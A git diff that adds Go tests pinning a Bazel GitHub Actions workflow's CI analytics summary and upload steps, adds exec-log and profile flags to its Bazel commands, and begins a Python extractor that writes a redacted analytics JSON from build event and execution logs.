t.Errorf("%s tree sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+ + "a fixture under testdata/ci_analytics/ was added, removed, renamed or edited without updating this pin", testdataDir, got, ciAnalyticsTestdataSHA256) + } +} + +// TestCIAnalyticsExtractUnitTests runs gascity's own 62 unittest cases +// in-place against the vendored extractor: the real Bazel 9.2.0 fixtures +// (testdata/ci_analytics/real/*, regenerated under env -i after the S2 +// leak), the synthetic remote/cache-hit exec log built by the test's own +// varint encoder, the poisoned/malformed BEP and exec-log robustness cases, +// and the ported mismatched-invocation-id and truncated-BEP cases. This is +// the "thin Go wrapper" around the vendored pair. +func TestCIAnalyticsExtractUnitTests(t *testing.T) { + root := sourceRepoRoot(t) + python := requireHostTool(t, "python3") + cmd := exec.Command(python, ciAnalyticsExtractUnitTest(root), "-v") + cmd.Dir = root + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("ci_analytics_extract_test.py failed: %v\n%s", err, out) + } +} diff --git a/scripts/ci_analytics_workflow_test.go b/scripts/ci_analytics_workflow_test.go new file mode 100644 index 000000000..d94a94c16 --- /dev/null +++ b/scripts/ci_analytics_workflow_test.go @@ -0,0 +1,282 @@ +package scripts_test + +import ( + "regexp" + "slices" + "strings" + "testing" +) + +// ciAnalyticsLaneJobs lists bazel.yml's lane jobs that carry the "CI +// analytics summary"/"Upload CI analytics summary" steps +// (rbe-ci-bep-analytics-design.md, S3), mapped to each job's LANE env +// value. The artifact name and the LANE env are both derived from this one +// map in the checks below, instead of being pinned independently and +// allowed to drift apart. +var ciAnalyticsLaneJobs = map[string]string{ + "bazel-test": "test", + "bazel-pure": "pure", + "bazel-embedded": "embedded", + "bazel-integration": "integration", + "bazel-doltserver": "doltserver", + "bazel-proxied": "proxied-server", + "bazel-server-storage": "server-storage", + "bazel-cmd-dolt": "cmd-dolt", +} + +// ciAnalyticsExcludedJobs are bazel.yml jobs that deliberately do not run +// the CI analytics extractor, with the reason: mirrors +// TestBazelLaneIsGatedAlongsideLegacy's gated/advisory/flag-gated split, so +// a new job in bazel.yml can't silently go unaccounted for here either. +var ciAnalyticsExcludedJobs = map[string]string{ + "rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize", + "rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane", + "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", + "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", +} + +// ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }}) +// inside a `run:` block: ci_analytics_extract.py's arguments must come from +// $LANE/$MODE/$CHECK_RUN_ID/$PR_HINT shell variables (set in `env:`, which +// GitHub Actions substitutes before the shell ever sees them), never a raw +// ${{ }} expression spliced into the command line itself. +var ciAnalyticsRunTemplateRE = regexp.MustCompile(`\$\{\{`) + +// ciAnalyticsRunnerTempPathRE captures the basename (the part after +// $RUNNER_TEMP/) of any $RUNNER_TEMP-relative path a run: block mentions, +// including one built from a shell loop variable (e.g. bazel-bep-$step.json). +var ciAnalyticsRunnerTempPathRE = regexp.MustCompile(`\$RUNNER_TEMP/([\w.$-]+)`) + +// ciAnalyticsWriterFlagRE captures the $RUNNER_TEMP-relative basename +// written by one of the three bazel flags that produce a BEP file, a +// compact exec log or a JSON profile: the only three file kinds the +// summary step is allowed to read. +var ciAnalyticsWriterFlagRE = regexp.MustCompile(`--(?:build_event_json_file|execution_log_compact_file|profile)="?\$RUNNER_TEMP/([\w.$-]+)"?`) + +// ciAnalyticsForLoopRE matches a `for in ; do` line, so a +// basename built from the loop variable (bazel-bep-$step.json) can be +// expanded to every concrete value the loop actually iterates. +var ciAnalyticsForLoopRE = regexp.MustCompile(`for (\w+) in ([^;]+); do`) + +// ciAnalyticsFileBasenameRE keeps only basenames that name a real +// input file (.json or .log.zst): the summary step's own --out path +// ($RUNNER_TEMP/ci-analytics/ci-analytics.json) is not $RUNNER_TEMP-direct +// and never matches a writer flag, so it is dropped rather than +// misclassified as a bad reader reference. +var ciAnalyticsFileBasenameRE = regexp.MustCompile(`\.(json|log\.zst)$`) + +const ( + // The path/retention/cleanup contract of every "Upload CI analytics + // summary" step: the redacted summary ci_analytics_extract.py wrote, + // kept a week, replaced (not 409'd) by a job re-run, and silently + // skipped (not failed) if the summary step itself never ran. + ciAnalyticsUploadPath = "${{ runner.temp }}/ci-analytics/ci-analytics.json" + ciAnalyticsUploadRetentionDays = "7" + ciAnalyticsUploadIfNoFilesFound = "ignore" + ciAnalyticsUploadOverwrite = "true" + ciAnalyticsUploadTimeoutMinutes = 2 + ciAnalyticsSummaryMaxTimeout = 3 + // The real job context (requires actionlint >= 1.7.8), not a + // github.run_id substitution: the design's contract with S4. + ciAnalyticsCheckRunID = "${{ job.check_run_id }}" + ciAnalyticsMode = "${{ needs.rbe.outputs.mode }}" + ciAnalyticsPRHint = "${{ github.event.pull_request.number || 0 }}" +) + +func ciAnalyticsContinueOnError(v any) bool { + switch v := v.(type) { + case bool: + return v + case string: + return v == "true" + default: + return false + } +} + +// ciAnalyticsExpandBasenames expands every $ token in basenames +// using any `for in ...; do` loop found in run, returning the +// set of concrete basenames actually produced or consumed. A basename with +// no loop-variable token (the 7 lanes with a single literal BEP/exec-log/ +// profile set) expands to itself unchanged. +func ciAnalyticsExpandBasenames(run string, basenames []string) map[string]bool { + out := map[string]bool{} + loops := ciAnalyticsForLoopRE.FindAllStringSubmatch(run, -1) + for _, b := range basenames { + expanded := []string{b} + for _, loop := range loops { + token := "$" + loop[1] + if !strings.Contains(b, token) { + continue + } + var next []string + for _, e := range expanded { + for _, v := range strings.Fields(loop[2]) { + next = append(next, strings.ReplaceAll(e, token, v)) + } + } + expanded = next + } + for _, e := range expanded { + out[e] = true + } + } + return out +} + +// TestCIAnalyticsStepsAreSafeAndBounded is beads' version of gascity's pin +// test of the same name (scripts/bazel_multilane_test.go, ci/analytics- +// extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac), adapted to beads' +// 8 separately-named lane jobs rather than gascity's single matrix "lane" +// job plus "coverage". The rbe-ci-bep-analytics-design.md "CI analytics +// summary" step (ci_analytics_extract.py) and its upload, in every lane +// job, must stay strictly reporting-only: continue-on-error, a short +// timeout so a parser bug can never make the step (or the job) run long, +// no raw GitHub Actions expression spliced into the shell command (only +// validated $ENV_VARS, never a string this extractor would have to +// re-validate itself), !cancelled() required rather than always() (always() +// also runs after a workflow cancellation, which these reporting-only +// steps should not survive), an exact upload name/path/retention contract, +// and every path the summary step reads must actually be written by a +// bazel flag earlier in the same job. +func TestCIAnalyticsStepsAreSafeAndBounded(t *testing.T) { + workflow := readCIWorkflow(t, "bazel.yml") + + // Every job in bazel.yml is either one of the lane jobs or has a + // recorded reason it is excluded: a new job cannot join bazel.yml + // without a decision about CI analytics. + for name := range workflow.Jobs { + _, lane := ciAnalyticsLaneJobs[name] + _, excluded := ciAnalyticsExcludedJobs[name] + if lane == excluded { + t.Errorf("bazel.yml job %q: lane=%v excluded=%v; add it to exactly one of ciAnalyticsLaneJobs or ciAnalyticsExcludedJobs (with a reason)", name, lane, excluded) + } + } + for name := range ciAnalyticsLaneJobs { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("ciAnalyticsLaneJobs lists %s, which bazel.yml does not have", name) + } + } + for name := range ciAnalyticsExcludedJobs { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("ciAnalyticsExcludedJobs lists %s, which bazel.yml does not have", name) + } + } + + // --execution_log_compact_file without + // --experimental_build_event_upload_strategy=local in the same command + // writes a compact exec log bazel never uploads anywhere the extractor + // (or anything else) can read it back: require both together, in every + // job's every step, not just the 8 lane jobs. + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + if strings.Contains(step.Run, "--execution_log_compact_file") && !strings.Contains(step.Run, "--experimental_build_event_upload_strategy=local") { + t.Errorf("%s job step %q: run has --execution_log_compact_file without --experimental_build_event_upload_strategy=local in the same command", name, step.Name) + } + } + } + + for jobName, wantLane := range ciAnalyticsLaneJobs { + job := workflow.job(t, jobName) + + summaryIdx := slices.IndexFunc(job.Steps, func(s ciWorkflowStep) bool { return s.Name == "CI analytics summary" }) + uploadIdx := slices.IndexFunc(job.Steps, func(s ciWorkflowStep) bool { return s.Name == "Upload CI analytics summary" }) + if summaryIdx < 0 || uploadIdx < 0 { + t.Fatalf("%s job: missing CI analytics summary/upload steps", jobName) + } + if uploadIdx != summaryIdx+1 { + t.Errorf("%s job: Upload CI analytics summary is step %d, want %d (immediately after CI analytics summary)", jobName, uploadIdx, summaryIdx+1) + } + summary := job.Steps[summaryIdx] + upload := job.Steps[uploadIdx] + + if !ciAnalyticsContinueOnError(summary.ContinueOnError) { + t.Errorf("%s job %q: continue-on-error %v, want true", jobName, summary.Name, summary.ContinueOnError) + } + if summary.TimeoutMinutes <= 0 || summary.TimeoutMinutes > ciAnalyticsSummaryMaxTimeout { + t.Errorf("%s job %q: timeout-minutes %d, want 1-%d", jobName, summary.Name, summary.TimeoutMinutes, ciAnalyticsSummaryMaxTimeout) + } + if ciAnalyticsRunTemplateRE.MatchString(summary.Run) { + t.Errorf("%s job %q: run: contains a ${{ }} expression; use env: and a shell variable instead:\n%s", jobName, summary.Name, summary.Run) + } + //nolint:misspell // GitHub Actions spells it cancelled() + if !strings.Contains(summary.If, "!cancelled()") { + t.Errorf("%s job %q: if %q does not require !cancelled(); always() also runs after a workflow cancellation", jobName, summary.Name, summary.If) + } + if got := summary.Env["LANE"]; got != wantLane { + t.Errorf("%s job CI analytics summary: LANE %q, want %q", jobName, got, wantLane) + } + if got := summary.Env["MODE"]; got != ciAnalyticsMode { + t.Errorf("%s job CI analytics summary: MODE %q, want %q", jobName, got, ciAnalyticsMode) + } + if got := summary.Env["CHECK_RUN_ID"]; got != ciAnalyticsCheckRunID { + t.Errorf("%s job CI analytics summary: CHECK_RUN_ID %q, want %q", jobName, got, ciAnalyticsCheckRunID) + } + if got := summary.Env["PR_HINT"]; got != ciAnalyticsPRHint { + t.Errorf("%s job CI analytics summary: PR_HINT %q, want %q", jobName, got, ciAnalyticsPRHint) + } + + if !ciAnalyticsContinueOnError(upload.ContinueOnError) { + t.Errorf("%s job %q: continue-on-error %v, want true", jobName, upload.Name, upload.ContinueOnError) + } + if upload.TimeoutMinutes != ciAnalyticsUploadTimeoutMinutes { + t.Errorf("%s job %q: timeout-minutes %d, want %d", jobName, upload.Name, upload.TimeoutMinutes, ciAnalyticsUploadTimeoutMinutes) + } + //nolint:misspell // GitHub Actions spells it cancelled() + if !strings.Contains(upload.If, "!cancelled()") { + t.Errorf("%s job %q: if %q does not require !cancelled()", jobName, upload.Name, upload.If) + } + wantUploadName := "ci-analytics-" + wantLane + "-${{ github.run_attempt }}" + if upload.With["name"] != wantUploadName { + t.Errorf("%s job %q: upload name %q, want %q", jobName, upload.Name, upload.With["name"], wantUploadName) + } + if upload.With["path"] != ciAnalyticsUploadPath { + t.Errorf("%s job %q: upload path %q, want %q (the redacted summary, never a raw BEP/exec-log/profile)", jobName, upload.Name, upload.With["path"], ciAnalyticsUploadPath) + } + if upload.With["retention-days"] != ciAnalyticsUploadRetentionDays { + t.Errorf("%s job %q: retention-days %q, want %q", jobName, upload.Name, upload.With["retention-days"], ciAnalyticsUploadRetentionDays) + } + if upload.With["if-no-files-found"] != ciAnalyticsUploadIfNoFilesFound { + t.Errorf("%s job %q: if-no-files-found %q, want %q", jobName, upload.Name, upload.With["if-no-files-found"], ciAnalyticsUploadIfNoFilesFound) + } + if upload.With["overwrite"] != ciAnalyticsUploadOverwrite { + t.Errorf("%s job %q: overwrite %q, want %q", jobName, upload.Name, upload.With["overwrite"], ciAnalyticsUploadOverwrite) + } + + // Every $RUNNER_TEMP file the summary step reads must be written by + // a --build_event_json_file/--execution_log_compact_file/--profile + // flag somewhere earlier in the same job (expanding any shell loop + // variable on both sides, e.g. bazel-pure's per-step bazel-bep- + // $step.json). + readerRaw := ciAnalyticsRunnerTempPathRE.FindAllStringSubmatch(summary.Run, -1) + readerBasenames := make([]string, 0, len(readerRaw)) + for _, m := range readerRaw { + readerBasenames = append(readerBasenames, m[1]) + } + readerSet := ciAnalyticsExpandBasenames(summary.Run, readerBasenames) + + writerSet := map[string]bool{} + for i, step := range job.Steps { + if i == summaryIdx || i == uploadIdx { + continue + } + raw := ciAnalyticsWriterFlagRE.FindAllStringSubmatch(step.Run, -1) + basenames := make([]string, 0, len(raw)) + for _, m := range raw { + basenames = append(basenames, m[1]) + } + for b := range ciAnalyticsExpandBasenames(step.Run, basenames) { + writerSet[b] = true + } + } + + for b := range readerSet { + if !ciAnalyticsFileBasenameRE.MatchString(b) { + continue // not a file reference (e.g. the --out path's directory component) + } + if !writerSet[b] { + t.Errorf("%s job CI analytics summary: reads %q, which no --build_event_json_file/--execution_log_compact_file/--profile flag in this job writes", jobName, b) + } + } + } +} diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go index 47de8d20f..354db638c 100644 --- a/scripts/ci_merge_queue_test.go +++ b/scripts/ci_merge_queue_test.go @@ -199,6 +199,19 @@ func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { "detect-ci-tier.steps[2].env.PR_HEAD_SHA": "advisory shadow selector; merge_group selects everything", "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + // bazel.yml's CI analytics summary step (rbe-ci-bep-analytics- + // design.md, S3), one entry per lane job (ciAnalyticsLaneJobs in + // ci_analytics_workflow_test.go) rather than a bare "steps[*]...", + // so this stays scoped to bazel.yml's own PR_HINT and can't + // silently also cover a future PR_HINT read elsewhere. + "bazel-test.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-pure.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-embedded.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-integration.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-doltserver.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-proxied.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-server-storage.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-cmd-dolt.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", } used := map[string]bool{} var fallbacks []string diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index afacfa1ba..ede9ca629 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2106,6 +2106,45 @@ const ( bazelRBEPrewarmContinueOnErrorPath = ".jobs." + bazelRBEPrewarmJobName + ".continue-on-error" ) +// rbe-ci-bep-analytics-design.md (S3) adds two steps to every lane job +// ("CI analytics summary" and "Upload CI analytics summary"): reporting +// only (the extracted summary feeds a follow-on analysis pipeline, nothing +// in bazel.yml or pr.yml reads its output), so both carry a deliberate +// step-level continue-on-error - the only step-level exception +// TestBazelWorkflowSecretsAndFailureSurface allows, matched below by job, +// step name and content (ciAnalyticsContinueOnErrorPaths) rather than by a +// single fixed path the way rbe-prewarm's job-level one is, since every +// lane job has its own copy of these two steps at a different index. + +// ciAnalyticsContinueOnErrorPaths returns the walkYAML path of every CI +// analytics step's continue-on-error key, so +// TestBazelWorkflowSecretsAndFailureSurface can allow exactly those and +// nothing else. Scoped three ways, not just by step name: the job must be +// one of ciAnalyticsLaneJobs (ci_analytics_workflow_test.go), the summary +// step's run must actually invoke ci_analytics_extract.py, and the upload +// step's artifact name must start with "ci-analytics-" - so a future step +// that happens to share one of these two names, in a job this design never +// touched, can't ride along on the exception unnoticed. +func ciAnalyticsContinueOnErrorPaths(t *testing.T) map[string]bool { + t.Helper() + paths := map[string]bool{} + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if _, ok := ciAnalyticsLaneJobs[name]; !ok { + continue + } + for i, step := range job.Steps { + switch { + case step.Name == "CI analytics summary" && strings.Contains(step.Run, "ci_analytics_extract.py"): + case step.Name == "Upload CI analytics summary" && strings.HasPrefix(step.With["name"], "ci-analytics-"): + default: + continue + } + paths[fmt.Sprintf(".jobs.%s.steps[%d].continue-on-error", name, i)] = true + } + } + return paths +} + // rbe-fork: the lanes' setup-bazel env that asks it for a certificate (modes // fork-ro and fork-rw only), and the mint's status URL the rbe job probes. const ( @@ -4300,7 +4339,7 @@ func TestBazelIntegrationJob(t *testing.T) { } cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") // EXCLUDE_TARGETS: TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers. - const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` + const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" --profile="$RUNNER_TEMP/bazel-profile.json" --experimental_build_event_upload_strategy=local ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") { t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run) } @@ -4569,11 +4608,14 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { job, config, logs string wantSteps int }{ - {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 8}, + // +2 over the earlier counts: the CI analytics summary/upload steps + // (S3; see bazel-test's "CI analytics summary" comment), added to + // every lane job ahead of the result recorder. + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 10}, // One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost- // latency-study.md recommendation 4), since this is the tier whose // last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. - {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 9}, + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 11}, } { job := workflow.job(t, c.job) if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { @@ -4581,7 +4623,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } assertBazelTierStep(t, job, c.job, c.config) if n := len(job.Steps); n != c.wantSteps { - t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, result recorder)", c.job, n, c.wantSteps) + t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { @@ -4621,6 +4663,9 @@ start=$(date +%s) rc=0 bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"` @@ -5092,6 +5137,7 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { t.Errorf("%s job %s has %d setup-bazel steps, want 1", bazelWorkflowName, name, n) } } + ciAnalyticsPaths := ciAnalyticsContinueOnErrorPaths(t) secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { if key && value == "continue-on-error" { @@ -5101,9 +5147,13 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { // job's failure would still fail bazel.yml's own run and // cascade into pr.yml's ci-gate. So is each flag-gated lane's // (bazelFlagGatedLanes): advisory until its pr.yml flag is - // "true", and required then through its own gate id. + // "true", and required then through its own gate id. So are the + // two CI analytics steps in every lane job + // (bazelCIAnalyticsStepNames): reporting only, never a `needs` + // of anything and never read back by this workflow or its + // callers. _, flagGated := bazelFlagGatedLanes[strings.TrimSuffix(strings.TrimPrefix(path, ".jobs."), ".continue-on-error")] - if path != bazelRBEPrewarmContinueOnErrorPath && !flagGated { + if path != bazelRBEPrewarmContinueOnErrorPath && !flagGated && !ciAnalyticsPaths[path] { t.Errorf("%s: %s hides failures from pr.yml's ci-gate", bazelWorkflowName, path) } } diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index d6b5ce0d8..5212bccf8 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -107,6 +107,8 @@ rc=0 bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" echo >> "$GITHUB_STEP_SUMMARY" @@ -114,17 +116,28 @@ exit "$rc"`, }, bazelPureJobName: { "Start every pure-Go artifact (gozstd contamination check)": `set -euo pipefail +# Not instrumented: no BEP/exec-log/profile is captured for this +# one-off smoke invocation (design's bazel-pure invocation list +# names build-wasm, build-pure, test-pure and test-bd only). bazel run --config=pure //cmd/bd:bd -- version bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ '--test_arg=-test.run=^$' \ - --test_env=BEADS_TEST_SKIP=dolt`, + --test_env=BEADS_TEST_SKIP=dolt \ + --profile="$RUNNER_TEMP/bazel-profile-test-pure.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-pure.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-pure.log.zst" \ + --experimental_build_event_upload_strategy=local`, "Run pure-Go cmd/bd test subset (--config=pure)": `set -euo pipefail bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ - "--test_arg=-test.run=$PURE_CMD_BD_TESTS" + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" \ + --profile="$RUNNER_TEMP/bazel-profile-test-bd.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-bd.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-bd.log.zst" \ + --experimental_build_event_upload_strategy=local n="$(grep -c ' 0 ))`, @@ -133,7 +146,12 @@ echo "pure cmd/bd subset: $n test cases" "bazel test //... --config=doltserver": `set -o pipefail start=$(date +%s) rc=0 -bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"`, }, diff --git a/tools/bazel/ci_analytics_extract.py b/tools/bazel/ci_analytics_extract.py new file mode 100644 index 000000000..7f5d9bc3d --- /dev/null +++ b/tools/bazel/ci_analytics_extract.py @@ -0,0 +1,1276 @@ +#!/usr/bin/env python3 +"""Build a redacted `ci-analytics-summary` v1 JSON from a lane's Bazel outputs. + +Design: rbe-ci-bep-analytics-design.md, section 3. This file is a byte copy +across gascity and beads (tools/bazel/ci_analytics_extract.py in both): +stdlib Python 3.12+, like critpath.py. + +Inputs, per `--invocation STEP BEP [EXEC_LOG|-] [PROFILE|-]` (repeatable, at +most 8): + + - BEP JSON (`--build_event_json_file`): required. Timing, runner counts, + test results and summaries, network bytes. + - the compact execution log (`--execution_log_compact_file`, zstd-framed + protobuf): per-spawn mnemonic, runner, cache hit, target, SpawnMetrics. + "-" skips it (no per-mnemonic or per-cold data for that invocation). + - the JSON profile (`--profile`): "Fetching repository" wall time per + external repository. "-" skips it. + +Redaction is by construction (never read, by omission), by validation (every +emitted string is regex-checked against a whitelist and against the tripwire +individually, so one hostile value is dropped rather than losing the whole +document), and by a final tripwire regex over the serialized output as a +backstop. See REDACTION in this file's comments at each site, and the +design's section 3.4. + +Every line of BEP or exec log input is adversarial-input tolerant: a +malformed middle BEP line still drops the invocation (unchanged contract), +but a malformed individual event, protobuf entry or field degrades -- +skipping just that event/entry/field -- rather than crashing the process. +See ParseTimeout and the try/except boundaries around the exec-log and BEP +passes in build_invocation(). + +Exit codes: 0 written | 3 no BEP for any invocation (nothing written) | +4 tripwire (nothing written). + +Per-invocation `exec_log`/`profile` status values, for the S4 collector: + - "ok": present, readable, and parsed (possibly with individually + dropped/degraded entries -- that alone does not change this status). + - "missing": "-" was passed for that input; it was never read. + - "unreadable": the path couldn't be opened (missing file, permissions). + - "corrupt": opened, but the content was unparseable as a whole, or (for + the profile) a non-finite ts/dur value was seen and dropped. + - "timeout": PARSE_DEADLINE_S was exceeded partway through parsing; any + entries already parsed are kept. + - "too_large": the input exceeded MAX_EXEC_LOG_BYTES after decompression. +""" + +from __future__ import annotations + +import argparse +import base64 +import json +import math +import os +import re +import shutil +import subprocess +import sys +import time + +FORMAT = "ci-analytics-summary" +SCHEMA_VERSION = 1 +EXTRACTOR_VERSION = "1.0.0" + +MAX_INVOCATIONS = 8 +MAX_MNEMONICS = 200 +MAX_COLD = 100 +MAX_REPOS = 10 +MAX_TEST_LABELS = 5000 +MAX_TEST_RESULTS = 20000 # total across all labels, not per label +MAX_LABEL_LEN = 512 +MAX_EXEC_LOG_BYTES = 512 * 1024 * 1024 +PARSE_DEADLINE_S = 60.0 +DECOMPRESS_CHUNK = 65536 + +# How often (in entries/lines) the deadline is re-checked in the hot loops. +# Checking time.monotonic() on every iteration would be needlessly slow; +# checking too rarely defeats the point of a deadline. +DEADLINE_CHECK_EVERY = 2000 + +ZSTD_MAGIC = b"\x28\xb5\x2f\xfd" + +# REDACTION: every string this extractor emits is validated against one of +# these, or dropped. No raw path, hostname, URI or free-text field is ever +# written verbatim; the only free text read at all is the two buildToolLogs +# lines named below, and only through these patterns. +LABEL_RE = re.compile( + r"(?:@@?[A-Za-z0-9_.~+-]{0,100})?//(?:[A-Za-z0-9_.+=,@~-]+(?:/[A-Za-z0-9_.+=,@~-]+)*)?" + r":(?!/)[A-Za-z0-9_.+=,@~/-]{1,200}" +) +MNEMONIC_RE = re.compile(r"[A-Za-z][A-Za-z0-9_]{0,63}") +REPO_RE = re.compile(r"@@?[A-Za-z0-9_.~+-]{1,200}") +ENUM_RE = re.compile(r"[A-Z_]{1,40}") +# started.command: a Bazel subcommand name ("test", "build", "coverage", ...). +COMMAND_RE = re.compile(r"[a-z][a-z-]{0,31}") +# started.buildToolVersion: a release ("9.2.0") or a dev build string. +VERSION_RE = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.+-]{0,63}") +# --invocation STEP, --lane, and matrix.lane values (bazel.yml): short, +# shell- and filename-safe identifiers, never free text. +LANE_RE = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.-]{0,63}") +# started.uuid / the BEP's own invocation id: a canonical (lowercase-or-not) +# UUID, nothing else. +UUID_RE = re.compile( + r"[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}" +) +# --mode: the rbe job's decide-mode output (design section 2). Checked as an +# exact set, not a regex. +MODE_CHOICES = frozenset({"remote", "fork-ro", "fork-rw", "cache", "local"}) + +# REDACTION: the tripwire. If this matches the serialized output, the +# extractor writes nothing and exits 4. It is also 